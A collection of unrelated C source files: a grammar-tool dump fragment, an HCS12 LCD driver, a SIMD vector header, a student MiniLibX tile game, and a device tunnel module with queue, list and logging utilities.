} void DEFUN(dumpItem_Set, (ts), Item_Set ts) { int i; printf("Item_Set #%d: [", ts->num); for (i = 1; i < max_nonterminal; i++) { if (ts->virgin[i].rule) { printf(" %d", i); dumpCost(ts->virgin[i].delta); } } printf(" ]\n"); } void DEFUN(dumpCost, (dc), DeltaCost dc) { printf("(%ld)", (long) dc); }
C
#define LCD_DAT PORTK // Port K drives LCD data pins~ E~ and RS #define LCD_DIR DDRK // Direction of LCD port #define LCD_E 0x02 // E signal #define LCD_RS 0x01 // RS signal #define LCD_E_RS 0x03 // assert both E and RS signals void main (void) { char *msg1 = "hello world!"; char *msg2 = "LCD is working!"; openLCD(); putsLCD(msg1); cmd2LCD(0xC0); // move cursor to 2nd row~ 1st column putsLCD(msg2); asm("swi"); while(1); } void cmd2LCD (char cmd) { char temp; temp = cmd; // save a copy of the command cmd &=0xF0; // clear out the lower 4 bits LCD_DAT &= (~LCD_RS); // select LCD instruction register LCD_DAT |= LCD_E; // pull E signal to high cmd >>= 2; // shift to match LCD data pins LCD_DAT = cmd | LCD_E; // output upper 4 bits~ E~ and RS asm ("nop"); // dummy statements to lengthen E asm ("nop"); // " asm ("nop"); LCD_DAT &= (~LCD_E); // pull E signal to low cmd = temp & 0x0F; // extract the lower 4 bits LCD_DAT |= LCD_E; // pull E to high cmd <<= 2; // shift to match LCD data pins LCD_DAT = cmd | LCD_E; // output upper 4 bits~ E~ and RS asm("nop"); // dummy statements to lengthen E asm("nop"); // " asm("nop"); LCD_DAT &= (~LCD_E); // pull E-clock to low delayby50us(1); // wait until the command is complete } void openLCD(void) { LCD_DIR = 0xFF; // configure LCD_DAT port for output delayby1ms(100); cmd2LCD(0x28); // set 4-bit data~ 2-line display~ =37 font cmd2LCD(0x0F); // turn on display~ cursor~ blinking cmd2LCD(0x06); // move cursor right cmd2LCD(0x01); // clear screen~ move cursor to home delayby1ms(2); // wait until clear display command is complete } void putcLCD(char cx) { char temp; temp = cx; LCD_DAT |= LCD_RS; // select LCD data register LCD_DAT |= LCD_E; // pull E signal to high cx &= 0xF0; // clear the lower 4 bits cx >>= 2; // shift to match the LCD data pins LCD_DAT = cx|LCD_E_RS; // output upper 4 bits~ E~ and RS asm("nop"); // dummy statements to lengthen E asm("nop"); // " asm("nop"); LCD_DAT &= (~LCD_E); // pull E to low cx = temp & 0x0F; // get the lower 4 bits LCD_DAT |= LCD_E; // pull E to high cx <<= 2; // shift to match the LCD data pins LCD_DAT = cx|LCD_E_RS; // output lower 4 bits~ E~ and RS asm("nop"); // dummy statements to lengthen E asm("nop"); // " asm("nop"); LCD_DAT &= (~LCD_E); // pull E to low delayby50us(1); } void putsLCD (char *ptr) { while (*ptr) { putcLCD(*ptr); ptr++; } } void delayby1ms(int sec){ int i; TSCR1 = 0b10010000; // enable timer and fast flag clear TSCR2 = 0b00000011; // 8 prescale TIOS = 0b00010000; // channel 4 output compare TC4 = TCNT + 3000; // add 3000 cycle if input is 1; for(i = 0; i < sec; i++){ // perform multiple 1 ms delay while(!(TFLG1 & C4F_flag)); // if input > 1 TC4 += 3000; } TIOS &= ~0b00010000; } void delayby50us(int sec){ int i; TSCR1 = 0b10010000; // enable timer and fast flag clear TSCR2 = 0b00000011; // 8 prescale TIOS = 0b00010000; // channel 4 output compare TC4 = TCNT + 20; // add 3000 cycle if input is 1; for(i = 0; i < sec; i++){ // perform multiple 1 ms delay while(!(TFLG1 & C4F_flag)); // if input > 1 TC4 += 20; } TIOS &= ~0b00010000; }
C
// This struct is binary compatible with float[4] and SSE registers: struct vector { float x; float y; float z; float w; } __attribute__ ((packed)) __attribute__ ((aligned (16))); // Define cross-platform vector types: typedef int32_t vec4i __attribute__ ((vector_size(sizeof(int32_t) * 4))) __attribute__ ((aligned)); typedef float vec4f __attribute__ ((vector_size(sizeof(float) * 4))) __attribute__ ((aligned)); // Cast a float[4] or struct vector to vec4f: #define VEC4F(x) (*(vec4f *)&(x)) // Include architecture-specific function implementations: #if defined __SSE2__ #include "vector/sse2.h" #else #include "vector/plain.h" #endif // These functions are architecture-independent: static inline float vec_distance_squared (const struct vector *a, const struct vector *b) { const vec4f va = VEC4F(*a); const vec4f vb = VEC4F(*b); const vec4f dv = va - vb; return vec4f_hsum(dv * dv); } static inline int vec4i_hmax (const vec4i i) { int max1 = (i[0] > i[1]) ? i[0] : i[1]; int max2 = (i[2] > i[3]) ? i[2] : i[3]; return (max1 > max2) ? max1 : max2; }
C
#include "mlx/mlx.h" #include "stdio.h" #include "stdlib.h" #include "main.h" typedef struct s_vars { void *mlx; void *win; void *img; void *img2; int pos_player_x; int pos_player_y; char **tab; int res_x; int res_y; int move_count; } t_vars; void ft_find_pos(t_vars *vars) { int x; int y; x = 0; y = 0; while (vars->tab[x]) { y = 0; while (vars->tab[x][y]) { if (vars->tab[x][y] == 'P') { vars->pos_player_x = x; vars->pos_player_y = y; } y++; } x++; } } int ft_nb_collectible(char **tab) { int x; int y; int i; x = 0; y = 0; i = 0; while (tab[x]) { y = 0; while (tab[x][y]) { if (tab[x][y] == 'C') i++; y++; } x++; } printf("i = %d\n", i); return i; } void ft_show_tab(char **tab) { int x; int y; int i; x = 0; y = 0; i = 0; while (tab[x]) { y = 0; while (tab[x][y]) { printf("%c", tab[x][y]); y++; } printf("\n"); x++; } } int ft_move_top(t_vars *vars) { printf("top\n"); ft_show_tab(vars->tab); printf("-----------------\n"); printf("case : %c\n", vars->tab[vars->pos_player_x - 1][vars->pos_player_y]); if (vars->tab[vars->pos_player_x - 1][vars->pos_player_y] != '1' && vars->tab[vars->pos_player_x - 1][vars->pos_player_y] != 'E') { vars->tab[vars->pos_player_x][vars->pos_player_y] = '0'; vars->tab[vars->pos_player_x - 1][vars->pos_player_y] = 'P'; vars->pos_player_x = vars->pos_player_x - 1; ft_show_tab(vars->tab); printf("*******************\n"); return 1; } if (vars->tab[vars->pos_player_x - 1][vars->pos_player_y] == 'E') { printf("case E\n"); if (ft_nb_collectible(vars->tab) == 0) { printf("end of the game\n"); vars->tab[vars->pos_player_x][vars->pos_player_y] = '0'; vars->tab[vars->pos_player_x - 1][vars->pos_player_y] = 'P'; vars->pos_player_x = vars->pos_player_x - 1; return 1; } else printf("il y toujours %d collectible\n", ft_nb_collectible(vars->tab)); } return 0; } int ft_move_bot(t_vars *vars) { printf("bot\n"); ft_show_tab(vars->tab); printf("-----------------\n"); printf("case : %c\n", vars->tab[vars->pos_player_x + 1][vars->pos_player_y]); if (vars->tab[vars->pos_player_x + 1][vars->pos_player_y] != '1' && vars->tab[vars->pos_player_x + 1][vars->pos_player_y] != 'E') { vars->tab[vars->pos_player_x][vars->pos_player_y] = '0'; vars->tab[vars->pos_player_x + 1][vars->pos_player_y] = 'P'; vars->pos_player_x = vars->pos_player_x + 1; ft_show_tab(vars->tab); printf("****************\n"); return 1; } if (vars->tab[vars->pos_player_x + 1][vars->pos_player_y] == 'E') { printf("case E\n"); if (ft_nb_collectible(vars->tab) == 0) { printf("end of the game\n"); vars->tab[vars->pos_player_x][vars->pos_player_y] = '0'; vars->tab[vars->pos_player_x + 1][vars->pos_player_y] = 'P'; vars->pos_player_x = vars->pos_player_x + 1; return 1; } else printf("il y toujours %d collectible\n", ft_nb_collectible(vars->tab)); } return 0; } int ft_move_left(t_vars *vars) { printf("left\n"); ft_show_tab(vars->tab); printf("-----------------\n"); printf("case : %c\n", vars->tab[vars->pos_player_x][vars->pos_player_y - 1]); if (vars->tab[vars->pos_player_x][vars->pos_player_y - 1] != '1' && vars->tab[vars->pos_player_x][vars->pos_player_y - 1] != 'E') { vars->tab[vars->pos_player_x][vars->pos_player_y] = '0'; vars->tab[vars->pos_player_x][vars->pos_player_y - 1] = 'P'; vars->pos_player_y = vars->pos_player_y - 1; // ft_show_tab(vars->tab); // printf("***************\n"); return 1; } if (vars->tab[vars->pos_player_x][vars->pos_player_y - 1] == 'E') { if (ft_nb_collectible(vars->tab) == 0) { printf("end of the game\n"); vars->tab[vars->pos_player_x][vars->pos_player_y] = '0'; vars->tab[vars->pos_player_x ][vars->pos_player_y - 1] = 'P'; vars->pos_player_y = vars->pos_player_y - 1; return 1; } else printf("il y toujours %d collectible\n", ft_nb_collectible(vars->tab)); } return 0; } int ft_move_right(t_vars *vars) { printf("right\n"); ft_show_tab(vars->tab); printf("-----------------\n"); printf("case : %c\n", vars->tab[vars->pos_player_x][vars->pos_player_y + 1]); if (vars->tab[vars->pos_player_x][vars->pos_player_y + 1] != '1' && vars->tab[vars->pos_player_x][vars->pos_player_y + 1] != 'E') { vars->tab[vars->pos_player_x][vars->pos_player_y] = '0'; vars->tab[vars->pos_player_x][vars->pos_player_y + 1] = 'P'; vars->pos_player_y = vars->pos_player_y + 1; ft_show_tab(vars->tab); printf("********************\n"); return 1; } if (vars->tab[vars->pos_player_x][vars->pos_player_y + 1] == 'E') { if (ft_nb_collectible(vars->tab) == 0) { printf("end of the game\n"); vars->tab[vars->pos_player_x][vars->pos_player_y] = '0'; vars->tab[vars->pos_player_x ][vars->pos_player_y + 1] = 'P'; vars->pos_player_y = vars->pos_player_y + 1; return 1; } else printf("il y toujours %d collectible\n", ft_nb_collectible(vars->tab)); } return 0; } int key_hook2(int keycode, t_vars *vars) { if (keycode == 13 || keycode == 126) vars->move_count += ft_move_top(vars); if (keycode == 1 || keycode == 125) vars->move_count += ft_move_bot(vars); if (keycode == 0 || keycode == 123) vars->move_count += ft_move_left(vars); if (keycode == 2 || keycode == 124) vars->move_count += ft_move_right(vars); printf("nombre de coups joués = %d\n", vars->move_count); return 1; } int ft_size_round(int x) { int i = 0; int n = x; while (n != 0) { n = n / 10; i++; } return i; } int my_mlx_pixel_color(t_data_img *data, int x, int y) { char *dst; dst = data->addr + (y * data->line_length + x * (data->bits_per_pixel / 8)); return *(unsigned int*)dst; } int ft_find_color(char c, t_data_struct *structure, int x, int y) { if (c == '1') return (my_mlx_pixel_color(&structure->wall, (y % 32), (x % 32))); if (c == 'P') return 0xABDCBA; if (c == '0') return (my_mlx_pixel_color(&structure->floor, (y % 32), (x % 32))); if (c == 'C') return 0XFEACBD; if (c == 'E') return 0XAECDBF; return 0; } int ft_put_string(t_vars *vars) { char *str; int size_round; int mv = vars->move_count; size_round = ft_size_round(mv) + 6; if (!(str = malloc(sizeof(char) * (6 + size_round)))) return 0; str[0] = 'c'; str[1] = 'o'; str[2] = 'u'; str[3] = 'p'; str[4] = ' '; size_round--; str[6] = '\0'; size_round--; int u = 5; while (size_round > 4) { str[size_round] = (mv % 10) + 48; mv /= 10; size_round--; } mlx_string_put(vars->mlx, vars->win, 580, 20, 0x00FF0000, str); return 1; } // int create_image(t_vars *vars) // { // int i = 0; // int j = 0; // vars->img = mlx_new_image(vars->mlx, vars->res_x, vars->res_y); // int pixel_bits; // int line_bytes; // int endian; // char *buffer = mlx_get_data_addr(vars->img, &pixel_bits, &line_bytes, &endian); // while (vars->tab[i]) // { // j = 0; // while (vars->tab[i][j]) // { // int color; // int y; // int x; // int case_x = vars->res_x / 10; // int case_y = vars->res_y / 5; // int save_y; // int save_x; // color = ft_find_color(vars->tab[i][j]); // if (pixel_bits != 32) // color = mlx_get_color_value(vars->mlx, color); // y = (0 + case_y * i); // x = (0 + case_x * j); // save_y = y; // save_x = x; // while (y < (save_y + case_y)) // { // x = (0 + case_x * j); // save_x = x; // while (x < (save_x + case_x)) // { // int pixel = (y * line_bytes) + (x * 4); // if (endian == 1) // Most significant (Alpha) byte first // { // buffer[pixel + 0] = (color >> 24); // buffer[pixel + 1] = (color >> 16) & 0xFF; // buffer[pixel + 2] = (color >> 8) & 0xFF; // buffer[pixel + 3] = (color) & 0xFF; // } // else if (endian == 0) // Least significant (Blue) byte first // { // buffer[pixel + 0] = (color) & 0xFF; // buffer[pixel + 1] = (color >> 8) & 0xFF; // buffer[pixel + 2] = (color >> 16) & 0xFF; // buffer[pixel + 3] = (color >> 24); // } // x++; // } // y++; // } // j++; // } // i++; // } // mlx_put_image_to_window(vars->mlx, vars->win, vars->img, 0, 0); // ft_put_string(vars); // return 1; // } void my_mlx_pixel_put(t_data_img *data, int x, int y, int color) { char *dst; dst = data->addr + (y * data->line_length + x * (data->bits_per_pixel / 8)); *(unsigned int*)dst = color; // printf("1 : %d\n", color); // printf("2 : %d\n", *(unsigned int*)dst); } int create_image2(t_vars *vars) { t_data_struct structure; // t_data_img img; int i = 0; int j = 0; vars->img = mlx_new_image(vars->mlx, vars->res_x, vars->res_y); int img_height; int img_width; char *relative_path = "./stone.xpm"; char *relative_path2 = "./grass.xpm"; // vars->img2 = mlx_xpm_file_to_image(vars->mlx, relative_path, &img_width, &img_height); structure.wall.img = mlx_xpm_file_to_image(vars->mlx, relative_path, &img_width, &img_height); structure.wall.addr = mlx_get_data_addr(structure.wall.img, &structure.wall.bits_per_pixel, &structure.wall.line_length, &structure.wall.endian); structure.floor.img = mlx_xpm_file_to_image(vars->mlx, relative_path2, &img_width, &img_height); structure.floor.addr = mlx_get_data_addr(structure.floor.img, &structure.floor.bits_per_pixel, &structure.floor.line_length, &structure.floor.endian); int pixel_bits; int line_bytes; int endian; char *buffer = mlx_get_data_addr(vars->img, &pixel_bits, &line_bytes, &endian); // printf("----%d\n", line_bytes); // printf("----%d\n", pixel_bits); while (vars->tab[i]) { j = 0; while (vars->tab[i][j]) { int color; int y; int x; int case_x = vars->res_x / 10; int case_y = vars->res_y / 5; int save_y; int save_x; if (pixel_bits != 32) color = mlx_get_color_value(vars->mlx, color); y = (0 + case_y * i); x = (0 + case_x * j); save_y = y; save_x = x; while (y < (save_y + case_y)) { x = (0 + case_x * j); save_x = x; while (x < (save_x + case_x)) { int pixel = (y * line_bytes) + (x * 4); color = ft_find_color(vars->tab[i][j], &structure, x, y); if (endian == 1) // Most significant (Alpha) byte first { buffer[pixel + 0] = (color >> 24); buffer[pixel + 1] = (color >> 16) & 0xFF; buffer[pixel + 2] = (color >> 8) & 0xFF; buffer[pixel + 3] = (color) & 0xFF; } else if (endian == 0) // Least significant (Blue) byte first { buffer[pixel + 0] = (color) & 0xFF; buffer[pixel + 1] = (color >> 8) & 0xFF; buffer[pixel + 2] = (color >> 16) & 0xFF; buffer[pixel + 3] = (color >> 24); } x++; } y++; } j++; } i++; } mlx_put_image_to_window(vars->mlx, vars->win, vars->img, 0, 0); // mlx_put_image_to_window(vars->mlx, vars->win, img.img, 0, 0); return 1; } int main(int ac, char **av) { t_vars vars; t_data_img image; (void)ac; int img_width; int img_height; char *relative_path = "./Steven01/normal.png"; image.img = mlx_xpm_file_to_image(vars.mlx, relative_path, &img_width, &img_height); vars.res_x = 640; vars.res_y = 360; vars.move_count = 0; vars.tab = ft_map(av[1]); ft_find_pos(&vars); vars.mlx = mlx_init(); vars.win = mlx_new_window(vars.mlx, vars.res_x, vars.res_y, "Hello world!"); mlx_key_hook(vars.win, key_hook2, &vars); mlx_loop_hook(vars.mlx, create_image2, &vars); mlx_put_image_to_window(vars.mlx, vars.win, image.img, 0, 0); mlx_loop(vars.mlx); }
C
// // module: device tunnel module // tunnutil.h // active to builde up tunnel with specified server, multiplex/demutiplex traffice // from server to local service or vice vera // #include <stdio.h> /* printf, scanf, NULL */ #include <stdlib.h> /* malloc, free, rand */ #include <string.h> #include <stdarg.h> #include <unistd.h> #include <fcntl.h> #include <pthread.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <time.h> #include "tunnel.h" #include "link.h" #include "tunnutil.h" #include "tunnmsg.h" // // tunnel control block allocate/free // struct list_head tunnel_free_list, tunnel_active_list; pthread_mutex_t lock; // // function declearation // extern unsigned int get_time_milisec(void); // // function: remove_active_tunnel // frmove a tunnel control block from active list // parameters // tunnel block pointer // return // 1 success // 0 not found; // int remove_active_tunnel(TUNNEL_CTRL *tc) { TUNNEL_CTRL *p = NULL; struct list_head *head; if (tc==NULL) return 0; pthread_mutex_lock(&lock); head = &tunnel_active_list; list_for_each_entry(p, head, list) { if (p != tc) continue; list_del(&p->list); pthread_mutex_unlock(&lock); return 1; } pthread_mutex_unlock(&lock); return 0; } // // function: get_free_tunnel_block // get a tunnel control block in free list // parameters // list head pointer // return // pointer of tunnel conrol block // null not free block // TUNNEL_CTRL *get_free_tunnel_block() { TUNNEL_CTRL *p = NULL; struct list_head *head; pthread_mutex_lock(&lock); head = &tunnel_free_list; if (!list_empty(head)) { /*remove node from head of queue*/ p = list_entry(head->next, TUNNEL_CTRL, list); if (p) list_del(&p->list); } pthread_mutex_unlock(&lock); return p; } // // function: put_tunnel_block // get a tunnel control block in free/active list // parameters // tc pointer, // list head // return // none // void put_tunnel_block(struct list_head *head, TUNNEL_CTRL *p) { pthread_mutex_lock(&lock); list_add_tail(&p->list, head); pthread_mutex_unlock(&lock); } // // function: find_tunnel_block_by_sid // find active tunnel list by socket id // parameters // socket id // return // pointer of tunnel conrol block // null not found // TUNNEL_CTRL *find_tunnel_block_by_sid(int sid) { TUNNEL_CTRL *p; struct list_head *head; pthread_mutex_lock(&lock); head = &tunnel_active_list; list_for_each_entry(p, head, list) { if (p->sock == sid) { pthread_mutex_unlock(&lock); return p; } } pthread_mutex_unlock(&lock); return 0; /*not found*/ } // // function: find_tunnel_block_by_addr // find active tunnel list by client address and port // parameters // client ip // client port // return // pointer of tunnel conrol block // null not found // TUNNEL_CTRL *find_tunnel_block_by_addr(char *ip, unsigned short port) { TUNNEL_CTRL *p; struct list_head *head; pthread_mutex_lock(&lock); head = &tunnel_active_list; list_for_each_entry(p, head, list) { if (*(unsigned int *)p->ip == *(unsigned int *)ip && p->port == port ) { pthread_mutex_unlock(&lock); return p; } } pthread_mutex_unlock(&lock); return 0; /*not found*/ } // // function: find_tunnel_block_by_uid // find active tunnel list by device's uid // parameters // devcie uid // return // pointer of tunnel conrol block // null not found // TUNNEL_CTRL *find_tunnel_block_by_uid(char *uid) { TUNNEL_CTRL *p; struct list_head *head; pthread_mutex_lock(&lock); head = &tunnel_active_list; list_for_each_entry(p, head, list) { if (memcmp(p->uid, uid, sizeof(*p->uid))==0) { pthread_mutex_unlock(&lock); return p; } } pthread_mutex_unlock(&lock); return 0; /*not found*/ } // // function: get_tunntl_info // extract tunnel information and put in buffer // parameters // buffer start, size of buffer // return // number of data // int get_tunnel_info(char *buf, int bufsize) { int i, count, dev_num; char tbuf[2048],*cp1, *end1, *start = buf, *cp=buf, *end=&buf[bufsize-3]; // reserve last 3 bytes TUNNEL_CTRL *tc; TUNN_LINK *link; struct list_head *head; pthread_mutex_lock(&lock); head = &tunnel_active_list; cp += snprintf(cp, end-cp,"{\"devs\":["); dev_num = 0; list_for_each_entry(tc, head, list) { cp1 = tbuf, end1=&tbuf[2048]; // get links count = 0; for(i=0;i<MAX_LINK_NUM && (cp1 < end1);i++) { link = &tc->link[i]; if (link->state == LINK_IDLE) continue; if (count && cp1 < end1) *cp1++ =','; cp1 += snprintf(cp1, end1-cp1, _link_blk_msg_, link->id, msg_link_state[link->state], inet_ntoa(link->addr.sin_addr), link->port, link->sock, link->tx_pcnt_ps, link->tx_bcnt_ps, link->rx_pcnt_ps, link->rx_bcnt_ps, queue_data_size(&link->txqu)); count ++; } // get device if (dev_num && cp < end) *cp++ =','; cp += snprintf(cp, end-cp,_tunnel_dev_msg_, tc->uid,tc->ip[0],tc->ip[1],tc->ip[2],tc->ip[3],tc->port, tc->sock, TunnelStateMag[tc->state],tc->session_id, tc->session_key, tc->cvr_ip[0],tc->cvr_ip[1],tc->cvr_ip[2],tc->cvr_ip[3], tc->http_port, tc->http_sock, tc->rtsp_port, tc->rtsp_sock, tc->tx_pcnt_ps, tc->tx_bcnt_ps, tc->rx_pcnt_ps,tc->rx_bcnt_ps, tc->echo_count, queue_data_size(&tc->txqu), queue_data_size(&tc->rxqu), tbuf); dev_num++; } // last 3 bytes *cp++ =']'; *cp++='}'; *cp++='\0'; pthread_mutex_unlock(&lock); //printf("%s() %d:%s\n",__FUNCTION__, cp-start, buf); return cp-start; } // // function: tunnel_ctrl_free // free the tunnel block list, free all active list, free list // parameters // none // return // 0 success // other fail // void tunnel_ctrl_free() { TUNNEL_CTRL *p, *prev; struct list_head *head; p2p_log_msg("%s(): free all tunnels\n",__FUNCTION__); pthread_mutex_lock(&lock); head = &tunnel_active_list; // release free_list list_for_each_entry(p, head, list) { prev = list_entry(p->list.prev, TUNNEL_CTRL, list); list_del(&p->list); free_device_tunnel(p); free(p); p = prev; } head = &tunnel_free_list; // release free_list list_for_each_entry(p, head, list) { prev = list_entry(p->list.prev, TUNNEL_CTRL, list); list_del(&p->list); free(p); p = prev; } pthread_mutex_unlock(&lock); pthread_mutex_destroy(&lock); } // // function: tunnel_ctrl_init // initial the tunnel block list, free and active list // parameters // none // return // 0 success // other fail // int tunnel_ctrl_init() { int i,ret=0; TUNNEL_CTRL *p; if (pthread_mutex_init(&lock, NULL) != 0) { p2p_log_msg("%s(): mutex init failed\n",__FUNCTION__); return TUNN_MUTEX_FAIL; } INIT_LIST_HEAD(&tunnel_active_list); INIT_LIST_HEAD(&tunnel_free_list); for (i = 0; i < (MAX_TUNNEL_NUM); i++) { p = malloc(sizeof(TUNNEL_CTRL)); if (!p) { p2p_log_msg("%s(): alloc memory fail\n",__FUNCTION__); ret = TUNN_NO_MEM; break; } put_tunnel_block(&tunnel_free_list, p); } if (ret<0) tunnel_ctrl_free(); return ret; } // // utility of queue // // // function: queue_init // create a queue buffer // parameters: // give structure of queue pointer // size of buffer // return: // TUNN_OK: success // TUNN_NO_MEM: fail , no memory // int queue_init(struct _queue_ *q, int size) { memset(q,0,sizeof(struct _queue_)); q->buf = malloc(size); if (q->buf) { q->size = size; q->put=q->get=q->full=0; //q->sem = xSemaphoreCreateMutex(); return TUNN_OK; } else return TUNN_NO_MEM; } // // function: queue_exit // free the queue // parameters: // give structure of queue pointer // size of buffer // return: // none // void queue_exit(struct _queue_ *q) { if (q && q->buf) { free(q->buf); q->buf = NULL; q->size = 0; //vSemaphoreDelete(q->sem); //q->sem = NULL; } } // // function: queue_put // put data into fifo, return success or queue full // parameters: // give structure of queue pointer // start data pointer // size of data // return: // >0 number of put data // TUNN_QUEUE_FULL: queue full // TUNN_NOT_AVAILABLE: servic not available // int queue_put(struct _queue_ *q, char *data, int size) { int i; if (!q || !q->buf) return TUNN_NOT_AVAILABLE; //if (xSemaphoreTake( q->sem, ( TickType_t ) 10 ) != pdTRUE) // return TRI_ERR_SEM_TAKE; for(i=0;i<size;i++) { if (q->full) { p2p_log_msg( "%s full\n",__FUNCTION__); // output debug message return TUNN_QUEUE_FULL; } q->buf[q->put++]=data[i]; if (q->put>=q->size) q->put = 0; if (q->put == q->get) q->full = 1; } //xSemaphoreGive( q->sem ); return i; } // // function: queue_get // get data from fifo, return get size // parameters: // give structure of queue pointer // start buffer pointer // size of buffer // return: // size of got data // TUNN_NOT_AVAILABLE: queue not available // int queue_get(struct _queue_ *q,char *buf, int bufsize) { int i; if (!q || !q->buf) return TUNN_NOT_AVAILABLE; //if (xSemaphoreTake( q->sem, ( TickType_t ) 10 ) != pdTRUE) // return TRI_ERR_SEM_TAKE; for(i=0;i<bufsize;i++) { if (q->get == q->put && !q->full) // empty? break; buf[i]=q->buf[q->get++]; if (q->get >= q->size) q->get = 0; q->full = 0; } //xSemaphoreGive( q->sem ); return i; } // // function: queue_peek // get data from fifo, but not update the internal read pointer, return get size // parameters: // give structure of queue pointer // start buffer pointer // size of buffer // return: // size of got data // TUNN_NOT_AVAILABLE: queue not available // int queue_peek(struct _queue_ *q,char *buf, int bufsize) { int i; if (!q || !q->buf) return TUNN_NOT_AVAILABLE; //if (xSemaphoreTake( q->sem, ( TickType_t ) 10 ) != pdTRUE) // return TRI_ERR_SEM_TAKE; int get = q->get; int full = q->full; for(i=0;i<bufsize;i++) { if (get == q->put && !full) // empty? break; buf[i]=q->buf[get++]; if (get >= q->size) get = 0; full = 0; } //xSemaphoreGive( q->sem ); return i; } // // function: queue_move // move get pointer, drop first n bytes of queue data // parameters: // give structure of queue pointer // start buffer pointer // number of moved bytes // return: // number of moved bytes // TUNN_NOT_AVAILABLE: queue not available // int queue_move(struct _queue_ *q, int n) { if (!q || !q->buf) return TUNN_NOT_AVAILABLE; //if (xSemaphoreTake( q->sem, ( TickType_t ) 10 ) != pdTRUE) // return TRI_ERR_SEM_TAKE; int data_size = 0; int ret = 0; if (q->full) data_size = q->size; else data_size = (q->put >= q->get ? (q->put - q->get) : (q->size + q->put - q->get)); ret = (data_size > n ? n : data_size); q->get += ret; if (q->get >= q->size) { q->get -= q->size; } q->full = 0; //xSemaphoreGive( q->sem ); return ret; } // // function: queue_data_size // get data size in fifo // parameters: // give structure of queue pointer // return: // number of moved bytes // int queue_data_size(struct _queue_ *q) { int ret = 0; if (!q || !q->buf) return 0; //if (xSemaphoreTake( q->sem, ( TickType_t ) 10 ) != pdTRUE) // return 0; if (q->full) ret = q->size; else if (q->put >= q->get) ret = (q->put - q->get); else ret = (q->size + q->put - q->get); //xSemaphoreGive( q->sem ); return ret; } // // function: queue_space // get free space in queue // parameters: // give structure of queue pointer // return: // number of bytes of buffer size // int queue_space(struct _queue_ *q) { if (!q || !q->buf) return 0; return q->size - queue_data_size(q); } // // function: queue_reset // reset queue, ignore data in queue // parameters: // give structure of queue pointer // return: // TUNN_OK: success // TUNN_NOT_AVAILABLE: queue not available // int queue_reset(struct _queue_ *q) { if (!q || !q->buf) return TUNN_NOT_AVAILABLE; //if (xSemaphoreTake( q->sem, ( TickType_t ) 10 ) != pdTRUE) // return TRI_ERR_SEM_TAKE; q->put=q->get=q->full=0; //xSemaphoreGive( q->sem ); return TUNN_OK; } // // function: fd_set_blocking // set block or none-block for socket // parameters: // socket id, // blocking: 1: block, 0 none block // return: // TUNN_OK: success // TUNN_NOT_AVAILABLE: queue not available // int fd_set_blocking(int fd, int blocking) { /* Save the current flags */ int flags = fcntl(fd, F_GETFL, 0); if (flags == -1) return 0; if (blocking) flags &= ~O_NONBLOCK; else flags |= O_NONBLOCK; return fcntl(fd, F_SETFL, flags) != -1; } // // function: get_free_port // get a port and check it is available // parameters // none // return // >0 port number // <=0 fail or not available // unsigned int link_port = MIN_LINK_SERVICE_PORT; int get_free_port() { unsigned int port = link_port++; if (link_port>MAX_LINK_SERVICE_PORT) link_port = MIN_LINK_SERVICE_PORT; /* #define _cmd_ = "netstat -tulnp | grep %u"; char buf[256]; int count = 0; FILE *fp; // check port available? while (count < (MAX_LINK_SERVICE_PORT-MIN_LINK_SERVICE_PORT)) { sprintf(buf,_cmd_,link_port); if ((fp = popen(cmd, "r")) == NULL) { printf("Error opening pipe!\n"); return -1; } while (fgets(buf, BUFSIZE, fp) != NULL) { // Do whatever you want here... printf("OUTPUT: %s", buf); } if (pclose(fp)) { printf("Command not found or exited with error status\n"); return -1; } } */ return port; } // function: get_time_milisec // get system time ticks // parameters: // none // return: // current minisecs // unsigned int get_time_milisec(void) { struct timespec ts; unsigned int tm; clock_gettime(CLOCK_MONOTONIC, &ts); tm = (ts.tv_sec * 1000) + (unsigned int)(ts.tv_nsec / 1000000); return tm; } // // function: dump_frame // dumpe memory // parameters // message string // start of memory // length of memory // return // 0 success // other fail // void dump_frame(char *msg, char *frame, int len) { unsigned short i; unsigned char *p=(unsigned char *)frame; char ch[16+1]= {0}; if (len<=0) { fprintf(stderr,"size overrun %u\n",len); len &= 0x7fff; } if (msg) fprintf(stderr,"%s, size %d\n",msg, len); while(len>16) { for (i=0; i<16; i++) ch[i] = (p[i]<0x20 || p[i]>=0x7f) ? '.' : p[i]; fprintf(stderr,"%04x: ", (p-(unsigned char *)frame)); fprintf(stderr,"%02X %02X %02X %02X %02X %02X %02X %02X-%02X %02X %02X %02X %02X %02X %02X %02X | ", p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7], p[8], p[9], p[10], p[11], p[12], p[13], p[14], p[15]); fprintf(stderr,"%s \n", ch); p+=16; len-=16; }/* End of for */ if (len) { fprintf(stderr,"%04x: ", (p-(unsigned char *)frame)); for(i=0; i<16; i++) { if (i<len) { ch[i] = (p[i]<0x20 || p[i]>=0x7f) ? '.' : p[i]; fprintf(stderr,"%02X ",p[i]); } else { ch[i]='\0'; fprintf(stderr," "); } } fprintf(stderr,"| %s \n", ch); } } // // display log message // int p2p_log_msg(char *fmt, ...) { struct tm TM = {0}; time_t t = time(NULL); char buffer[1024] = {0}; char format[256] = {0}; localtime_r (&t, &TM); sprintf(format, "[%04u/%02u/%02u-%02u:%02u:%02u] %s", TM.tm_year + 1900, TM.tm_mon + 1, TM.tm_mday, TM.tm_hour, TM.tm_min, TM.tm_sec, fmt); va_list arg_list; va_start(arg_list, fmt); vsnprintf(buffer, 1024, format, arg_list); va_end(arg_list); fprintf(stderr, "%s", buffer); return 0; } // // function: get_server_ip // to use system call to get default route interface IP address // parameter: // buffer start // buffer size // return // 0: success // other fail // int get_server_ip(char *buf, int bufsize) { #define _cmd1_str_ "route | grep default | awk '{print $8}' | tr -d '\n'" #define _cmd2_str_ "ifconfig %s | awk '/inet addr/{print substr($2,6)}' | tr -d '\n'" char msg[256]; int ret = TUNN_OK; FILE *fp; // get interface if ((fp = popen(_cmd1_str_, "r")) == NULL) { p2p_log_msg("%s(): Error opening pipe!\n", __FUNCTION__); return -1; } if (fgets(buf, bufsize, fp)) // Do whatever you want here... p2p_log_msg("%s(): interface: %s\n", __FUNCTION__, buf); ret= pclose(fp); if (ret) { p2p_log_msg("%s(): Command not found or exited with error status, %d\n", __FUNCTION__, ret); return ret; } // get ip snprintf(msg,255,_cmd2_str_,buf); //p2p_log_msg("%s!\n",msg); if ((fp = popen(msg, "r")) == NULL) { p2p_log_msg("%s(): Error opening pipe!\n", __FUNCTION__); return -1; } if (fgets(buf, bufsize, fp)) // Do whatever you want here... 